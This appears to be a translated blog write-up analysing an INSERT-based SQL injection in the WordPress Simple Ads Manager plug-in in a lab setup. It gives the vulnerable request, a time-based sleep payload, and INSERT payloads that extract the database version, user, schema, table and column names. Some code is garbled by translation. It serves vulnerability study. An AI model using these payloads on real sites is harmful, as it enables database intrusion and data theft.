Thoughts on INSERT injection caused by a WordPress Vulnerability

Thoughts on INSERT injection caused by a WordPress Vulnerability

This article is a record of analysis, experiment, and thinking on WordPress plug-in injection vulnerabilities.

Overview

I don't need to talk about SQL Injection here. There are many Paper and blogs about SQL Injection on the Internet, as well as endless vulnerability reports on various vulnerability platforms. However, these vulnerabilities all share a lot in common: Select injection caused by poor filtering of data query parameters.

During the analysis of a WordPress plug-in vulnerability over the past two days, it was found that the vulnerability exists in the Insert statement, which is very different from the previous vulnerability. Therefore, the vulnerability is thoroughly analyzed, tested, thought, and summarized. The following is a detailed process of this vulnerability study.

Process records

WordPress vulnerabilities:

First, describe the WordPress plug-in Vulnerability (WordPress Simple Ads Manager) and explain SQL INJECTION 1.



There are three main information, from top to bottom: ① injection page ② injection point ③ vulnerability code

Vulnerability environment:

To enable vulnerability replay, we must first set up the environment. WordPress is available in my testing environment. You only need to install the plug-in with this vulnerability. The following is my lab environment:
OS: CentOS 6.6
PHP: 5.3.3
Mysql: 5.1.73
WordPress: 4.2-zh_CN
Simple-Ads-Manager: 2.6.96

After installing this plug-in, you need to enable this plug-in. Then add a test Ad in the background and reference this Ad in the article. below is my test Ad:



When you access a page with this Ad, this vulnerability page is triggered.

Vulnerability Verification:

Use Burpsuite Repeater for replay test, normal request



The red box shows the request parameters.
Action = sam_hits & hits % 5B0% 5D % 5B % 5D = 1 & hits % 5B0% 5D % 5B % 5D = 1 & level = 3

Decoded:
Action = sam_hits & hits [0] [] = 1 & hits [0] [] = 1 & level = 3

The Green Box shows the returned information.

The SQL statement is returned, but this is not the point. You can get the source code and you cannot see anything?

Here there are two hits [0] [], the pid in the preceding corresponding SQL statement, and the id of the backdoor. The following is an injection test based on the WordPress vulnerability above:
Paylaod: (select 1)



At first glance, although success is prompted, something is wrong.
Payload: (select * from (select (sleep (5) abcd)

Burpsuite responds after about 5 seconds. Here I use curl for a comparison.



Time-Based SQL Injection exists after the vulnerability is verified. The cause of this vulnerability is that hits is not filtered. The following describes how to constantly determine and obtain data, but this is not what we want.

Note: to distinguish it from the following ID, I will change the value of PID to number 2 from below

Thinking: Can I directly output SQL queries?

Payload

Can I directly output SQL queries? To explore this problem, we can combine the third part of the first figure with the SQL statement returned by Burpsuite to make it seem familiar: truncate the original data and construct new data.

Because the returned SQL statements show that the table has five fields and the test position corresponds to the pid, the payload is constructed as follows:
Payload: 2, null );--



Return to success and log on to the database to confirm that the data is successfully inserted. Here is the test where the number of fields is known. For unknown fields, we can test it using N * null.

Output point

Payload can be executed. How can I output SQL queries? To be able to output, there must be an output point. Unfortunately, in this environment, only the execution status can be entered. Since there is no output point, we construct a data point. Here I use a simulated scenario: the Ad process here can be imagined as a user submitting a comment. After the user submits the comment, the user can query the content of the comment on a page.

I didn't want to change the database here, but the structure of this table is not suitable for this simulation.



The changes are as follows:
Modify the database and add a field rmsg to wp_sam_status.

alter table wp_sam_stats add column msg varchar(100) after remote_addr;

Modify program, modify file/wp-content/plugins/simple-ads-manager/sam-ajax.php 117 lines

$ SQL = "insert into $ sTable (id, pid, event_time, event_type, remote_addr) VALUES {$ values};"; changed to $ SQL = "INSERT INTO $ sTable (id, pid, event_time, event_type, remote_addr, msg) VALUES {$ values };";

Test payload:

Obtain basic information: 2, null, (select concat_ws ('':'', version (), user (), database ()))); -- Get Database: 2, null, (select group_concat (unhex (hex (schema_name) from information_schema.schemata); -- get data table: 2, null, null, null, (select group_concat (unhex (hex (table_name) from information_schema.tables where table_schema = database (); -- get the data field (wp_sam_stats as an example) 2, null, null, null, (select group_concat (unhex (hex (column_name) from information_schema.columns where table_name = ''wp _ sam_stats ''); -- get data content 2, null, null, null, (select group_concat (concat_ws (': '', id, name) from t1 ));--

The database content is as follows:



We can see that the queried data has been inserted into the msg field. If a page can view this field (such as comment), we can directly output the SQL query information.

Note: here we finally get the content of a table T1, because we were unable to obtain data from wp_sam_stats during the test.

Summary

In fact, the core idea of select, insert, delete, and update injection remains unchanged. We only need to make corresponding thought changes according to different environments. Through this experiment, we can draw the following conclusions:‍

Two INSERT-type injection conditions:‍‍‍‍‍‍

① Execution status ② output point

Update: The idea mentioned above actually exists on the Internet a long time ago. However, before studying this vulnerability, the author had almost no practical contact with this type of vulnerability. The above process can be said to be based on your current knowledge, step by step analysis and practice, and finally throw your personal opinions, this article focuses more on vulnerability analysis and expansion. Everybody, save it with a knife.